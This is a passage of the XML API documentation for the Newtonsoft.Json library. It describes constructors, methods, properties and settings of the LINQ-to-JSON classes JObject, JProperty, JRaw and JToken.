Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\">\n            <summary>\n            Occurs when a property value is changing.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanging(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.CreateAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.RegexMatchTimeout\">\n            <summary>\n            Gets or sets a timeout that will be used when executing regular expressions.\n            </summary>\n            <value>The timeout that will be used when executing regular expressions.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see 